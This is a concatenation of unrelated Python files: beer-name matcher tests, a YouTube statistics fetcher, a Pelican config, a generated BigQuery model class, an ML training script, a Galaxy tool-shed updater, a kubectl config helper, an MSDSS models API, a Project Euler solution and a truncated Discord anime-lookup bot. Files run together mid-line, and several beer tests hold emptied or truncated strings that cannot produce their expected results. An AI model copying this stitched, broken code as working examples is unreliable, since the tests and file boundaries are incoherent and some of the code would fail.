matcher.match_name(u'GullMack') self.assertEqual(u'', matched['name']) def test_vuur_vlam(self): beer_list = [ {'name': u'De Molen Vuur & Vlam (Fire & Flames)'} ] matcher = BeerNameMatcher(u'Bro', beer_list) matched = matcher.match_name(u'Brouwerij de Molen Vuur Vlam') self.assertEqual(u'De Molen Vuur & Vlam (Fire & Flames)', matched['name']) def test_faxe_premium(self): beer_list = [ {'name': u'Royal Unibrew - Faxe Amber'}, {'name': u'Faxe Extra Strong Danish Lager Beer'}, {'name': u'Faxe Premium'} ] matcher = BeerNameMatcher(u'Royal Unibrew', beer_list) matched = matcher.match_name(u'Faxe Premium Danish Lager Beer') self.assertEqual(u'Faxe Premium', matched['name']) def test_lindheim_saison(self): beer_list = [ {'name': u'Lindheim Saison Farmhouse Ale Barrel Aged'}, {'name': u'Lindheim Saison Farmhouse Ale'} ] matcher = BeerNameMatcher(u'Lindheim Ølkompani', beer_list) matched = matcher.match_name(u'Lindheim Farmhouse Ale Saison') self.assertEqual(u'Lindheim Saison Farmhouse Ale', matched['name']) def test_mikkeller_barrel(self): beer_list = [ {'name': u'Mikkeller Black Ink And Blood'}, {'name': u'Mikkeller Black Ink And Blood Barrel Aged (Brandy Edition)'} ] matcher = BeerNameMatcher(u'Mikkeller', beer_list) matched = matcher.match_name(u'Mikkeller Black Ink and Blood Imperial raspberry stout Brandy') self.assertEqual(u'Mikkeller Black Ink And Blood Barrel Aged (Brandy Edition)', matched['name']) def test_ola_dubh(self): beer_list = [ {'name': u'Harviestoun - Harviestoun Ola Dubh 1991'}, {'name': u'Harviestoun Ola Dubh (16 Year Old)'} ] matcher = BeerNameMatcher(u'Harviestoun', beer_list) matched = matcher.match_name(u'Harviestoun Ola Dubh 16 special reserve ale') self.assertEqual(u'Harviestoun Ola Dubh (16 Year Old)', matched['name']) def test_kingfisher(self): beer_list = [ {'name': u'Kingfisher Ultra Max'}, {'name': u'Kingfisher (Premium) Lager Beer'} ] matcher = BeerNameMatcher(u'United Breweries Group', beer_list) matched = matcher.match_name(u'Kingfisher Premium Lager') self.assertEqual(u'Kingfisher (Premium) Lager Beer', matched['name']) def test_retired(self): beer_list = [ {'name': u'Flying Dog Snake Dog IPA (through 2007)', 'retired': True}, {'name': u'Flying Dog Snake Dog IPA (2008 and later)'} ] matcher = BeerNameMatcher(u'Flying Dog Brewery', beer_list, skip_retired=True) matched = matcher.match_name(u'Flying Dog Snake Dog IPA') self.assertEqual(u'Flying Dog Snake Dog IPA (2008 and later)', matched['name']) def test_samuel_smith(self): beer_list = [ {'name': u''} ] matcher = BeerNameMatcher(u'', beer_list) matched = matcher.match_name(u'') self.assertEqual(u' Porter', matched['name']) def test_soy_rodriguez(self): beer_list = [ {'name': u'Edge Brewing Soy Rodríguez', 'abv': 5.3} ] matcher = BeerNameMatcher(u'Edge Brewing Barcelona', beer_list) matched = matcher.match_name(u'Edge Soy Rodriguez Rye IPA') self.assertEqual(u'Edge Brewing Soy Rodríguez', matched['name']) def test_batch_500(self): beer_list = [ {'name': u'Nøgne Ø # 500 Imperial India Pale Ale (Batch 500)'} ] matcher = BeerNameMatcher(u'Nøgne Ø (Hansa Borg)', beer_list) matched = matcher.match_name(u'Nøgne Ø Imperial India Pale Ale #500') self.assertEqual(u'Nøgne Ø # 500 Imperial India Pale Ale (Batch 500)', matched['name']) def test_trappist_bier(self): beer_list = [ {'name': u'La Trappe Bockbier'}, {'name': u'La Trappe Tripel'} ] matcher = BeerNameMatcher(u'De Koningshoeven (Bavaria - Netherlands)', beer_list) matched = matcher.match_name(u'La Trappe Tripel Trappist Bier') self.assertEqual(u'La Trappe Tripel', matched['name']) def test_weissbier_hell(self): beer_list = [ {'name': u''}, {'name': u''} ] matcher = BeerNameMatcher(u' (Warsteiner)', beer_list) matched = matcher.match_name(u'König Ludwig Weissbier Hell') self.assertEqual(u'König Ludwig Weissbier', matched['name']) def test_oude_geuze(self): beer_list = [ {'name': u'Chapeau Gueuze'}, {'name': u'De Troch Oude Gueuze'} ] matcher = BeerNameMatcher(u'Brouwerij De Troch', beer_list) matched = matcher.match_name(u'De Troch Chapeau Oude Gueuze') self.assertEqual(u'De Troch Oude Gueuze', matched['name']) def test_crafty_dan(self): beer_list = [ {'name': u''}, {'name': u'afty Dan Triple C (Bottle, 5.3%)'} ] matcher = BeerNameMatcher(u'Thwaites', beer_list) matched = matcher.match_name(u'Crafty Dan Triple C Golden Ale') self.assertEqual(u'Thwaites Crafty Dan Triple C (Bottle, 5.3%)', matched['name']) def test_gentse(self): beer_list = [ {'name': u'Gruut Blond'}, {'name': u'Gruut Belgian Wit Bier'} ] matcher = BeerNameMatcher(u'Gentse Stadsbrouwerij', beer_list) matched = matcher.match_name(u'Gentse Gruut Wit') self.assertEqual(u'Gruut Belgian Wit Bier', matched['name']) def test_bottle_refermented(self): beer_list = [ {'name': u'Green’s Tripel Blonde Ale'}, {'name': u'Green’s Blond'} ] matcher = BeerNameMatcher(u'Green’s', beer_list) matched = matcher.match_name(u'Green?s Bottle Refermented Blonde Ale') self.assertEqual(u'Green’s Blond', matched['name']) def test_hop_it(self): beer_list = [ {'name': u'Urthel Hop-it'} ] matcher = BeerNameMatcher(u'Microbrouwerij Urthel', beer_list) matched = matcher.match_name(u'Urthel Hop-It Superior Hoppig Blond') self.assertEqual(u'Urthel Hop-it', matched['name']) def test_white_pony(self): beer_list = [ {'name': u'White Pony Zumbi'} ] matcher = BeerNameMatcher(u'White Pony Microbirrificio', beer_list) matched = matcher.match_name(u'White Pony Zumbi Imperial Porter Ale') self.assertEqual(u'White Pony Zumbi', matched['name']) def test_classic(self): beer_list = [ {'name': u'Flying Dog Doggie Style (Cedar)'} ] matcher = BeerNameMatcher(u'Flying Dog Brewery', beer_list) matched = matcher.match_name(u'Flying Dog Doggie Style Classic Pale Ale') self.assertEqual(u'Flying Dog Doggie Style (Cedar)', matched['name']) #def test_triple_collab(self): #Nøgne Ø Det kompromissløse Bry - Nøgne Ø # 100 :: Nøgne Ø (Hansa Borg) - Nøgne Ø # 1001 #CAP Brewery - Cap/BrewDog CapDog Black IPA :: CAP Brewery - BrewDog / CAP CAP DOG #Nøgne Ø Det kompromissløse Bry - Nøgne Ø M.O.L.E. Russian Imperial Stout :: Nøgne Ø (Hansa Borg) - Nøgne Ø / La Chingoneria / Central Cervecera M.O.L.E. #Nøgne Ø Det kompromissløse Bry - Nøgne Ø India Saison :: Nøgne Ø (Hansa Borg) - Nøgne Ø / Bridge Road India Saison #Austmann Bryggeri - Austmann Caelum Caeruleum :: Austmann Bryggeri - Austmann / Balder / Lindheim Caelum Caeruelum #Amundsen/Grünerløkka Bryggeri - Amundsen/Grünerløkka Oslo IPA :: Amundsen Bryggeri & Spiseri - Amundsen Oslo Ølfestivaløl 2013 #Amundsen/Grünerløkka Bryggeri - Amundsen/Grünerløkka Oslo IPA :: Grünerløkka Brygghus - Grünerløkka / Amundsen Oslo IPAimport urllib.request import json from apikey import apikey #https://github.com/kagaya25/How-to-get-Youtube-Video-statistics-in-python- def getViews(VID_ID, API_KEY): url = 'https://www.googleapis.com/youtube/v3/videos?part=statistics&id=' + VID_ID + '&key=' + API_KEY req = urllib.request.Request(url) resp = urllib.request.urlopen(req) respData = resp.read() res = json.loads(respData.decode('utf-8')) print(url) print(res) statistics = res["items"][0]["statistics"] viewCount = statistics["viewCount"] return viewCount #Example https://www.youtube.com/watch?v=YwNlVeReXXc #YwNlVeReXXc is the id we need url = input("Paste your youtubevideo id :") print(getViews(url,apikey)) Twitter/SentimentAnalysis/dataframes.py1-10 #Convert the tweets into pandas dataframes tesla = pd.DataFrame(tesla_sentiment) comcast = pd.DataFrame(comcast_sentiment) #Show descriptive statistics tesla.describe() comcast.describe()0 #!/usr/bin/env python # -*- coding: utf-8 -*- # AUTHOR = 'zh' SITENAME = '此时此刻即是最好的~' SITESUBTITLE = '这世界只来一次,让我们尽兴而归~' SITEURL = 'https://Mrzhang3389.github.io' HOME_COVER = 'https://raw.githubusercontent.com/Mrzhang3389/Mrzhang3389.github.io/master/assets/hold/header.jpg' PATH = 'content' TIMEZONE = 'Asia/Shanghai' DEFAULT_LANG = 'zh' # Feed generation is usually not desired when developing FEED_ALL_ATOM = None CATEGORY_FEED_ATOM = None TRANSLATION_FEED_ATOM = None AUTHOR_FEED_ATOM = None AUTHOR_FEED_RSS = None SHOW_FULL_ARTICLE = False # 可在index.html上显示文章的全部内容，而不是摘要 # Blogroll LINKS = (('Pelican', 'https://getpelican.com/'), ('Python.org', 'https://www.python.org/'), ('Jinja2', 'https://palletsprojects.com/p/jinja/'), ('You can modify those links in your config file', '#'),) DEFAULT_PAGINATION = 10 MENUITEMS = (('我的GitHub主页', 'https://github.com/Mrzhang3389'), ('我的csdn主页', 'https://blog.csdn.net/zhanghao3389'), ('发email给我', 'mailto:')) # Post and Pages path ARTICLE_URL = '{date:%Y}/{date:%m}/{slug}.html' ARTICLE_SAVE_AS = '{date:%Y}/{date:%m}/{slug}.html' PAGE_URL = 'pages/{slug}/' PAGE_SAVE_AS = 'pages/{slug}/index.html' YEAR_ARCHIVE_SAVE_AS = '{date:%Y}/index.html' MONTH_ARCHIVE_SAVE_AS = '{date:%Y}/{date:%m}/index.html' # Tags and Category path CATEGORY_URL = 'category/{slug}' CATEGORY_SAVE_AS = 'category/{slug}/index.html' CATEGORIES_SAVE_AS = 'catgegories.html' TAG_URL = 'tag/{slug}' TAG_SAVE_AS = 'tag/{slug}/index.html' TAGS_SAVE_AS = 'tags.html' # Author AUTHOR_URL = 'author/{slug}' AUTHOR_SAVE_AS = 'author/{slug}/index.html' AUTHORS_SAVE_AS = 'authors.html' AUTHORS_BIO = { "zh": { "name": "zh", "cover": "https://raw.githubusercontent.com/Mrzhang3389/Mrzhang3389.github.io/master/assets/hold/header.jpg", "image": "https://raw.githubusercontent.com/Mrzhang3389/Mrzhang3389.github.io/master/assets/hold/head.jpg", "website": "https://Mrzhang3389.github.io", "github": "Mrzhang3389", "location": "ChengDu", "bio": "欢迎来到我的blog, 这里用于存放一些成品的项目..." } } # Uncomment following line if you want document-relative URLs when developing # RELATIVE_URLS = True THEME = 'attila' SCHEM_CSS_LIST = ['tomorrow.css', 'tomorrow_night.css', 'monokai.css', 'github.css', 'darkly.css'] COLOR_SCHEME_CSS = SCHEM_CSS_LIST[3] # coding: utf-8 """ maiot Core Engine API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: 0.1.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class DatasourceBQCreate(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'name': 'str', 'client_project': 'str', 'client_dataset': 'str', 'client_table': 'str', 'bigquery_type': 'str', 'service_account': 'object' } attribute_map = { 'name': 'name', 'client_project': 'client_project', 'client_dataset': 'client_dataset', 'client_table': 'client_table', 'bigquery_type': 'bigquery_type', 'service_account': 'service_account' } def __init__(self, name=None, client_project=None, client_dataset=None, client_table=None, bigquery_type=None, service_account=None): # noqa: E501 """DatasourceBQCreate - a model defined in Swagger""" # noqa: E501 self._name = None self._client_project = None self._client_dataset = None self._client_table = None self._bigquery_type = None self._service_account = None self.discriminator = None if name is not None: self.name = name if client_project is not None: self.client_project = client_project if client_dataset is not None: self.client_dataset = client_dataset if client_table is not None: self.client_table = client_table if bigquery_type is not None: self.bigquery_type = bigquery_type if service_account is not None: self.service_account = service_account @property def name(self): """Gets the name of this DatasourceBQCreate. # noqa: E501 :return: The name of this DatasourceBQCreate. # noqa: E501 :rtype: str """ return self._name @name.setter def name(self, name): """Sets the name of this DatasourceBQCreate. :param name: The name of this DatasourceBQCreate. # noqa: E501 :type: str """ self._name = name @property def client_project(self): """Gets the client_project of this DatasourceBQCreate. # noqa: E501 :return: The client_project of this DatasourceBQCreate. # noqa: E501 :rtype: str """ return self._client_project @client_project.setter def client_project(self, client_project): """Sets the client_project of this DatasourceBQCreate. :param client_project: The client_project of this DatasourceBQCreate. # noqa: E501 :type: str """ self._client_project = client_project @property def client_dataset(self): """Gets the client_dataset of this DatasourceBQCreate. # noqa: E501 :return: The client_dataset of this DatasourceBQCreate. # noqa: E501 :rtype: str """ return self._client_dataset @client_dataset.setter def client_dataset(self, client_dataset): """Sets the client_dataset of this DatasourceBQCreate. :param client_dataset: The client_dataset of this DatasourceBQCreate. # noqa: E501 :type: str """ self._client_dataset = client_dataset @property def client_table(self): """Gets the client_table of this DatasourceBQCreate. # noqa: E501 :return: The client_table of this DatasourceBQCreate. # noqa: E501 :rtype: str """ return self._client_table @client_table.setter def client_table(self, client_table): """Sets the client_table of this DatasourceBQCreate. :param client_table: The client_table of this DatasourceBQCreate. # noqa: E501 :type: str """ self._client_table = client_table @property def bigquery_type(self): """Gets the bigquery_type of this DatasourceBQCreate. # noqa: E501 :return: The bigquery_type of this DatasourceBQCreate. # noqa: E501 :rtype: str """ return self._bigquery_type @bigquery_type.setter def bigquery_type(self, bigquery_type): """Sets the bigquery_type of this DatasourceBQCreate. :param bigquery_type: The bigquery_type of this DatasourceBQCreate. # noqa: E501 :type: str """ self._bigquery_type = bigquery_type @property def service_account(self): """Gets the service_account of this DatasourceBQCreate. # noqa: E501 :return: The service_account of this DatasourceBQCreate. # noqa: E501 :rtype: object """ return self._service_account @service_account.setter def service_account(self, service_account): """Sets the service_account of this DatasourceBQCreate. :param service_account: The service_account of this DatasourceBQCreate. # noqa: E501 :type: object """ self._service_account = service_account def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(DatasourceBQCreate, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, DatasourceBQCreate): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other import torch import utility import data import model import loss from option import args from trainer import Trainer torch.manual_seed(args.seed) checkpoint = utility.checkpoint(args) ### [y] import os import sys code_root_dp = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) ## src sys.path.append(os.path.join(code_root_dp, "model")) sys.path.append(os.path.join(code_root_dp, "data")) from torchsummary import summary def main(): global model if args.data_test == ['video']: from videotester import VideoTester model = model.Model(args, checkpoint) t = VideoTester(args, model, checkpoint) t.test() else: if checkpoint.ok: loader = data.Data(args) _model = model.Model(args, checkpoint) ### network summary #summary(_model.model, (3, 48, 48)) #exit(1) ### _loss = loss.Loss(args, checkpoint) if not args.test_only else None t = Trainer(args, loader, _model, _loss, checkpoint) tmp_ep_idx = 0 while not t.terminate(): ### [y] print("[y] going to call t.train()") t.train() ## [y] print("[y] going to call t.test()") t.test() # => want to, but something need mdf too #tmp_ep_idx += 1 #if tmp_ep_idx % 3 == 0: # ### [y] # print("[y] going to call t.test()") # t.test() checkpoint.done() if __name__ == '__main__': main() mysticmirages/GalaxyProjectlib/tool_shed/galaxy_install/update_repository_manager.py """ Determine if installed tool shed repositories have updates available in their respective tool sheds. """ import logging import threading from galaxy import eggs eggs.require('SQLAlchemy') from sqlalchemy import false import tool_shed.util.shed_util_common as suc from tool_shed.util import common_util from tool_shed.util import encoding_util log = logging.getLogger( __name__ ) class UpdateRepositoryManager( object ): def __init__( self, app ): self.app = app self.context = self.app.install_model.context # Ideally only one Galaxy server process should be able to check for repository updates. if self.app.config.enable_tool_shed_check: self.running = True self.sleeper = Sleeper() self.restarter = threading.Thread( target=self.__restarter ) self.restarter.daemon = True self.restarter.start() self.seconds_to_sleep = int( app.config.hours_between_check * 3600 ) def get_update_to_changeset_revision_and_ctx_rev( self, repository ): """Return the changeset revision hash to which the repository can be updated.""" changeset_revision_dict = {} tool_shed_url = common_util.get_tool_shed_url_from_tool_shed_registry( self.app, str( repository.tool_shed ) ) params = dict( name=str( repository.name ), owner=str( repository.owner ), changeset_revision=str( repository.installed_changeset_revision ) ) pathspec = [ 'repository', 'get_changeset_revision_and_ctx_rev' ] try: encoded_update_dict = common_util.tool_shed_get( self.app, tool_shed_url, pathspec=pathspec, params=params ) if encoded_update_dict: update_dict = encoding_util.tool_shed_decode( encoded_update_dict ) includes_data_managers = update_dict.get( 'includes_data_managers', False ) includes_datatypes = update_dict.get( 'includes_datatypes', False ) includes_tools = update_dict.get( 'includes_tools', False ) includes_tools_for_display_in_tool_panel = update_dict.get( 'includes_tools_for_display_in_tool_panel', False ) includes_tool_dependencies = update_dict.get( 'includes_tool_dependencies', False ) includes_workflows = update_dict.get( 'includes_workflows', False ) has_repository_dependencies = update_dict.get( 'has_repository_dependencies', False ) has_repository_dependencies_only_if_compiling_contained_td = update_dict.get( 'has_repository_dependencies_only_if_compiling_contained_td', False ) changeset_revision = update_dict.get( 'changeset_revision', None ) ctx_rev = update_dict.get( 'ctx_rev', None ) changeset_revision_dict[ 'includes_data_managers' ] = includes_data_managers changeset_revision_dict[ 'includes_datatypes' ] = includes_datatypes changeset_revision_dict[ 'includes_tools' ] = includes_tools changeset_revision_dict[ 'includes_tools_for_display_in_tool_panel' ] = includes_tools_for_display_in_tool_panel changeset_revision_dict[ 'includes_tool_dependencies' ] = includes_tool_dependencies changeset_revision_dict[ 'includes_workflows' ] = includes_workflows changeset_revision_dict[ 'has_repository_dependencies' ] = has_repository_dependencies changeset_revision_dict[ 'has_repository_dependencies_only_if_compiling_contained_td' ] = has_repository_dependencies_only_if_compiling_contained_td changeset_revision_dict[ 'changeset_revision' ] = changeset_revision changeset_revision_dict[ 'ctx_rev' ] = ctx_rev except Exception, e: log.debug( "Error getting change set revision for update from the tool shed for repository '%s': %s" % ( repository.name, str( e ) ) ) changeset_revision_dict[ 'includes_data_managers' ] = False changeset_revision_dict[ 'includes_datatypes' ] = False changeset_revision_dict[ 'includes_tools' ] = False changeset_revision_dict[ 'includes_tools_for_display_in_tool_panel' ] = False changeset_revision_dict[ 'includes_tool_dependencies' ] = False changeset_revision_dict[ 'includes_workflows' ] = False changeset_revision_dict[ 'has_repository_dependencies' ] = False changeset_revision_dict[ 'has_repository_dependencies_only_if_compiling_contained_td' ] = False changeset_revision_dict[ 'changeset_revision' ] = None changeset_revision_dict[ 'ctx_rev' ] = None return changeset_revision_dict def __restarter( self ): log.info( 'Update repository manager restarter starting up...' ) while self.running: # Make a call to the Tool Shed for each installed repository to get the latest # status information in the Tool Shed for the repository. This information includes # items like newer installable repository revisions, current revision updates, whether # the repository revision is the latest installable revision, and whether the repository # has been deprecated in the Tool Shed. for repository in self.context.query( self.app.install_model.ToolShedRepository ) \ .filter( self.app.install_model.ToolShedRepository.table.c.deleted == false() ): tool_shed_status_dict = suc.get_tool_shed_status_for_installed_repository( self.app, repository ) if tool_shed_status_dict: if tool_shed_status_dict != repository.tool_shed_status: repository.tool_shed_status = tool_shed_status_dict self.context.flush() else: # The received tool_shed_status_dict is an empty dictionary, so coerce to None. tool_shed_status_dict = None if tool_shed_status_dict != repository.tool_shed_status: repository.tool_shed_status = tool_shed_status_dict self.context.flush() self.sleeper.sleep( self.seconds_to_sleep ) log.info( 'Update repository manager restarter shutting down...' ) def shutdown( self ): if self.app.config.enable_tool_shed_check: self.running = False self.sleeper.wake() def update_repository_record( self, repository, updated_metadata_dict, updated_changeset_revision, updated_ctx_rev ): """ Update a tool_shed_repository database record with new information retrieved from the Tool Shed. This happens when updating an installed repository to a new changeset revision. """ repository.metadata = updated_metadata_dict # Update the repository.changeset_revision column in the database. repository.changeset_revision = updated_changeset_revision repository.ctx_rev = updated_ctx_rev # Update the repository.tool_shed_status column in the database. tool_shed_status_dict = suc.get_tool_shed_status_for_installed_repository( self.app, repository ) if tool_shed_status_dict: repository.tool_shed_status = tool_shed_status_dict else: repository.tool_shed_status = None self.app.install_model.context.add( repository ) self.app.install_model.context.flush() self.app.install_model.context.refresh( repository ) return repository class Sleeper( object ): """ Provides a 'sleep' method that sleeps for a number of seconds *unless* the notify method is called (from a different thread). """ def __init__( self ): self.condition = threading.Condition() def sleep( self, seconds ): self.condition.acquire() self.condition.wait( seconds ) self.condition.release() def wake( self ): self.condition.acquire() self.condition.notify() self.condition.release() klotio/pi-setup1-10 #!/usr/bin/env python import os import yaml import requests cluster = input("cluster: ") password = input("password: ") remote = {} klotio = requests.Session() klotio.headers.update({"x-klot-io-password": password}) if os.path.exists("secret/kubectl"): print(f"\nadding {cluster}-klot-io context\n") with open("secret/kubectl", "r") as config_file: response = klotio.post( f"http://{cluster}-klot-io.local/api/kubectl", json={"kubectl": yaml.safe_load(config_file)} ) else: print(f"\nusing {cluster}-klot-io context\n") response = klotio.get( f"http://{cluster}-klot-io.local/api/kubectl" ) response.raise_for_status() config = response.json()["kubectl"] with open("secret/kubectl", "w") as config_file: yaml.safe_dump(config, config_file, default_flow_style=False) express/properties/non_scalar/two_dimensional_plot/reaction_energy_profile.py from express.properties.non_scalar.two_dimensional_plot import TwoDimensionalPlotProperty class ReactionEnergyProfile(TwoDimensionalPlotProperty): """ Reaction energy profile. """ def __init__(self, name, parser, *args, **kwargs): super(ReactionEnergyProfile, self).__init__(name, parser, *args, **kwargs) self.xDataArray = self.parser.reaction_coordinates() self.yDataSeries = [self.parser.reaction_energies()] src/msdss_models_api/core.py0 from celery import Celery from fastapi import FastAPI from msdss_base_api import API from msdss_base_database import Database from msdss_data_api.managers import DataManager from .env import * from .managers import * from .routers import * class ModelsAPI(API): """ Models API class for managing models. * Extends the :class:`msdss_base_api:msdss_base_api.core.API` class Parameters ---------- users_api : :class:`msdss_users_api:msdss_users_api.core.UsersAPI` or None Users API object to enable user authentication for models routes. If ``None``, user authentication will not be used for models routes. database : :class:`msdss_base_database:msdss_base_database.core.Database` or None A database object for using models with data from the database. If ``None``, a default database object will be created. models : list(:class:`msdss_models_api.models.Model`) or dict(:class:`msdss_models_api.models.Model`) List or dict of available ``Model`` objects to use for creating and managing model instances. If ``list``, ensure that the class names are unique, otherwise the last object in the list takes priority. worker : :class:`celery:celery.Celery` or None Celery worker for background processes. If ``None``, a default worker will be created using parameters ``broker_url`` and ``backend_url``. broker_url : str or None Link to connect to a `Redis `_ broker. Env vars will take priority - see parameter ``env``. If parameter ``worker`` is set, this will not be applied. backend_url : str or None Link to connect to a `Redis `_ backend. Env vars will take priority - see parameter ``env``. If parameter ``worker`` is set, this will not be applied. folder : str The folder path to store models in. The folder will be created if it does not exist. Env vars will take priority - see parameter ``env``. models_router_settings : dict Keyword arguments passed to :func:`msdss_models_api.routers.get_models_router` except ``bg_manager``. load_env : bool Whether to load variables from a file with environmental variables at ``env_file`` or not. env : :class:`msdss_users_api.env.ModelsDotEnv` An object to set environment variables related to users configuration. These environment variables will overwrite the parameters above if they exist. By default, the related parameters above are assigned to each of the environment variables seen below if ``load_env`` is ``True``: .. jupyter-execute:: :hide-code: from msdss_models_api.defaults import DEFAULT_DOTENV_KWARGS defaults = {k:v for k, v in DEFAULT_DOTENV_KWARGS.items() if k not in ['defaults', 'env_file', 'key_path']} print(' = \\n') for k, v in defaults.items(): print(k + ' = ' + v) api : :class:`fastapi:fastapi.FastAPI` API object for creating routes. *args, **kwargs Additional arguments passed to :class:`msdss_base_api:msdss_base_api.core.API`. Attributes ---------- models_api_database : :class:`msdss_base_database:msdss_base_database.core.Database` Database object for users API. models_api_worker : :class:`celery:celery.Celery` Same as parameter ``worker``. Author ------ <> Example ------- Create models api without users: .. jupyter-execute:: from msdss_base_database import Database from msdss_models_api.models import Model from msdss_models_api import ModelsAPI # Create database object database = Database( driver='postgresql', user='msdss', password='', host='localhost', port='5432', database='msdss' ) # Create models api without users app = ModelsAPI( models=[Model], database=database, broker_url='redis://localhost:6379/0', backend_url='redis://localhost:6379/0' ) # Run the app with app.start() # Try API at http://localhost:8000/docs # app.start() Create Models API with users: .. jupyter-execute:: from msdss_base_database import Database from msdss_models_api.models import Model from msdss_models_api import ModelsAPI from msdss_users_api import UsersAPI # Create database object database = Database( driver='postgresql', user='msdss', password='', host='localhost', port='5432', database='msdss' ) # Create a users api # CHANGE SECRETS TO STRONG PHRASES users_api = UsersAPI( 'cookie-secret', 'jwt-secret', 'reset-secret', 'verification-secret', database=database ) # Create a models api with users app = ModelsAPI( users_api, models=[Model], database=database, broker_url='redis://localhost:6379/0', backend_url='redis://localhost:6379/0' ) # Add users routes app.add_app(users_api) # Run the app with app.start() # Try API at http://localhost:8000/docs # app.start() Create Models API with users and data management: .. jupyter-execute:: from msdss_base_database import Database from msdss_models_api.models import Model from msdss_models_api import ModelsAPI from msdss_users_api import UsersAPI from msdss_data_api import DataAPI # Create database object database = Database( driver='postgresql', user='msdss', password='', host='localhost', port='5432', database='msdss' ) # Create a users api # CHANGE SECRETS TO STRONG PHRASES users_api = UsersAPI( 'cookie-secret', 'jwt-secret', 'reset-secret', 'verification-secret', database=database ) # Create a data api with users data_api = DataAPI(users_api, database=database) # Create a models api with users and data management app = ModelsAPI( users_api, models=[Model], database=database, broker_url='redis://localhost:6379/0', backend_url='redis://localhost:6379/0' ) # Add users and data routes app.add_apps(users_api, data_api) # Run the app with app.start() # Try API at http://localhost:8000/docs # app.start() """ def __init__( self, users_api=None, database=None, models=[], worker=None, broker_url=DEFAULT_BROKER_URL, backend_url=DEFAULT_BACKEND_URL, folder=DEFAULT_MODELS_FOLDER, models_router_settings={}, load_env=True, env=ModelsDotEnv(), api=FastAPI( title='MSDSS Models API', version='0.0.7' ), *args, **kwargs): super().__init__(api=api, *args, **kwargs) # (ModelsAPI_env) Set env vars if env.exists() and load_env: env.load() broker_url = env.get('broker_url', broker_url) backend_url = env.get('backend_url', backend_url) folder = env.get('folder', folder) # (ModelsAPI_folder) Create folder if not exists if not os.path.isdir(folder): os.makedirs(folder) # (ModelsAPI_bg) Create background manager for models database = database if database else Database() data_manager = DataManager(database=database) models_manager = ModelsDBManager(models=models, data_manager=data_manager, folder=folder) worker = worker if worker else Celery(broker=broker_url, backend=backend_url) metadata_manager = ModelsMetadataManager(data_manager, models_manager) bg_manager = ModelsDBBackgroundManager(worker=worker, models_manager=models_manager, metadata_manager=metadata_manager) models_router_settings['bg_manager'] = bg_manager # (ModelsAPI_users) Add users app if specified if users_api: models_router_settings['users_api'] = users_api # (ModelsAPI_router_models) Add models router models_router = get_models_router(**models_router_settings) self.add_router(models_router) # (ModelsAPI_router_attr) Set attributes self.models_api_worker = worker self.misc = {} self.misc['bg_manager'] = bg_manager # (ModelsAPI_startup) Setup app startup @self.event('startup') async def startup(): self.logger.info('Waiting for base models metadata to be loaded into database.') metadata_manager.load_base_models() self.logger.info('Base models metadata loading complete.') def get_worker(self): """ Get the background worker to process background tasks. Author ------ <> Example ------- .. code:: from msdss_models_api.models import Model from msdss_models_api import ModelsAPI # Create models api without users app = ModelsAPI( models=[Model], broker_url='redis://localhost:6379/0', backend_url='redis://localhost:6379/0' ) # Run the background worker in a separate terminal worker = app.get_worker() """ out = self.models_api_worker return out # Sum square difference # The sum of the squares of the first ten natural numbers is 385 -> 1^2 + 2^2 + ... + 10^2 = 385 # The square of the sum of the first ten natural numbers is 3025 -> (1 + 2 + ... + 10)2 = 552 = 3025 # Hence the difference between the sum of the squares of the first ten natural numbers and the square of the sum is 3025 − 385 = 2640. # Find the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum. def main(): sum = 0 squares = 0 for i in range(1, 101): sum += i squares += i ** 2 return (sum ** 2) - squares if __name__ == '__main__': ans = main() print(str(ans)) #!/bin/python3 import discord from discord.ext import commands from dotenv import load_dotenv import os import ssl import requests import sys import traceback import uuid load_dotenv() with open("DISCORD_TOKEN.conf", "r")as f: DISCORD_TOKEN=f.read() bot = commands.Bot(command_prefix='$') @bot.event async def on_ready(): print('Logged in as') print(bot.user.name) print(bot.user.id) print('------') @bot.command() async def findname(ctx): if (len(ctx.message.attachments) > 0): try: jpgurl = ctx.message.attachments[0].url await ctx.send("Searching...") headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36' } url = 'https://api.trace.moe/search?anilistInfo&url=' + jpgurl r = requests.get(url, headers = headers) seconds = int(r.json()['result'][0]['from']) m, s = divmod(seconds, 60) h, m = divmod(m, 60) await ctx.send(jpgurl) await ctx.send(str(r.json()['result'][0]['anilist']['title']['native']) + '\n' + # str(r.json()['result'][0]['anilist']['title']['chinese']) + '\n' + str(r.json()['result'][0]['anilist']['title']['romaji']) + '\n' + str(r.json()['result'][0]['anilist']['title']['english']) + '\n' + 'EP#' + str(r.json()['result'][0]['episode']).zfill(2) + ' ' + str(h).zfill(2) + ':' + str(m).zfill(2) + ':' + str(s).zfill(2) + '\n' + ('%.2f%%' % (float(r.json()['result'][0]['similarity']) * 100) + ' similarity')) videourl = r.json()['result'][0]['video'] # videourl = 'https://media.trace.moe/video/' + str(r.json()['docs'][0]['anilist_id']) + '/' + r.json()['docs'][0]['filename'] + '?t=' + str(r.json()['docs'][0]['at']) + '&token=' + r.json()['docs'][0]['tokenthumb'] #print(videourl) uuidd = uuid.uuid4() if videourl != None and videourl != "": req = requests.get(videourl, headers = headers) videoname = r.json()['result'][0]['filename'] + str(uuidd) + '.mp4' with open(videoname, "wb")as 